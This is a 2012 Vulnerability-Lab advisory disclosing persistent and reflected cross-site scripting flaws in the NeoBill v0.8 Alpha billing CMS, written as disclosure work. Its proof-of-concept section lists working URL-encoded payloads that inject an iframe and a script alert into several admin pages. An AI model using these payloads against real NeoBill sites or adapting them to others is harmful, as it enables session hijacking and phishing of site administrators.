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Title:
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======
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NeoBill CMS v0.8 Alpha - Multiple Web Vulnerabilities
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Date:
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=====
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2012-08-18
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References:
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===========
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http://www.vulnerability-lab.com/get_content.php?id=685
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VL-ID:
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=====
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685
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Common Vulnerability Scoring System:
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====================================
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3.5
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Introduction:
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=============
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NeoBill is a web-based Customer Management and Billing solution designed for web hosting providers,
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particularly hosting resellers. It is developed in PHP, uses MySQL as the backend database, and
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is licensed under the GPL. The script supports independent payment gateways, and registrars of domain names.
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Key features of the product:
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* Open source (GPL)
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* Support for PHP4 and PHP5
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* Use MySQL database
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* Independent Payment Gateways Module
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* Indepenent Domain Registrar Module
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* Multi-user system
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* The ability to integrate third-party modules
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* Using Smarty templates
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* Checking the active, inactive and pending accounts
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* Attachments to the memos Account
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* Sending predefined e-mail\\\\\\\\\\\\\\\'ov for new customers
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* Creating and editing accounts, which can be printed or sent by mail to its customers
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* Accounts can be generated by one or all at once
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* Payments
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* Set one-time and monthly payments for each service / service
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* Services have a duration of 1,3,6 and 12 months
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* Domain registration through API Directi
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(Copy of the Vendor Homepage: http://www.neobill.net/ )
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Abstract:
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=========
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The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the NeoBill v0.8 Alpha Content Management System.
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Report-Timeline:
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================
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2012-08-19: Public or Non-Public Disclosure
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Status:
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========
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Published
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Exploitation-Technique:
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=======================
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Remote
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Severity:
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=========
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High
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Details:
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========
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1.1
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A persistent input validation vulnerability is detected in the NeoBill v0.8 Alpha Content Management System.
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The vulnerability allows remote attackers or local low privileged user account to inject/implement malicious persistent script
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code on application side of the neobill v0.8 web application. The vulnerability is located in the user account module with
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the bound vulnerable contactname or username parameters. Attackers can inject via register account or update profile malicious
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persistent script codes as companyname and username. The code will be persistent executed in the administration backend when processing
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to watching the user account listings. Successful exploitation of the vulnerability result in persistent session hijacking attacks,
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persistent phishing requests & stable persistent module context manipulation.
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Vulnerable Module(s):
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[+] User Accounts - Management [Admin Backend]
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Vulnerable Parameter(s):
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[+] Contactname
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[+] Username
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1.2
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Multiple client side cross site scripting vulnerabilities are detected in the NeoBill v0.8 Alpha Content Management System.
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The vulnerability allows an remote attacker to manipulate client side application requests with medium or high required user
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inter action. The vulnerabilities are located in the unsanitized output of the Uncaught SWException & Invalid Object Exception
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web application modules. Successful exploitation of the vulnerability result in client side session hijacking, non-persistent
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phishing requests & non-persistent module context manipulation.
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Vulnerable Module(s):
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[+] 2 x Exception Handling
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Vulnerable Parameter(s):
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[+] Uncaught SWException Handling
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[+] Invalid Object Exception Handling
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Proof of Concept:
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=================
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1.1
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The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low
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required user inter action. For demonstration or reproduce ...
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Review: Listing - Contactname & Username
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<tr>
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<td>
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<a href="http://neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=config_edit_user&user=admin">admin</a>
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</td>
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<td>
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Administrator
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</td>
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<td>
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admin admin "><[PERSISTET INJECTED SCRIPT CODE!]")' <="" td="">
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<td>
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<a
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href="mailto:sysop@neobill.servertest.de">sysop@neobill.servertest.de</a>
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</td>
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Affected User Account - Listing:
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http://neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=config_edit_user&user=admin
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http://neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=config_users
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1.2
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The non persistent cross site scripting vulnerabilities can be exploited by remote attackers without low privileged application
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user account with medium or high required user inter action. For demonstration or reproduce ...
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Exception Handling - Uncaught SWException & Invalid Object Exception
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neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
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neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=services_new_domain_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
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neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=view_log_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C&log=1
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Search:
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neobill.127.0.0.1:1339/neobill/manager/manager_content.php
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?page=services_servers&submit=search_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
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Register Domain:
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neobill.127.0.0.1:1339/neobill/manager/manager_content.php
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?page=domains_register&submit=register_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
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New Domain Service:
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neobill.127.0.0.1:1339/neobill/manager/manager_content.php
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?page=services_new_domain_service&submit=new_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
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Risk:
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=====
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1.1
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The security risk of the persistent input validation vulnerability is estimated as high.
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1.2
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The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.
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Credits:
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========
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
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Disclaimer:
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===========
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The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
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Copyright <20> 2012 | Vulnerability Laboratory
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--
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VULNERABILITY RESEARCH LABORATORY
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LABORATORY RESEARCH TEAM
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CONTACT: research@vulnerability-lab.com |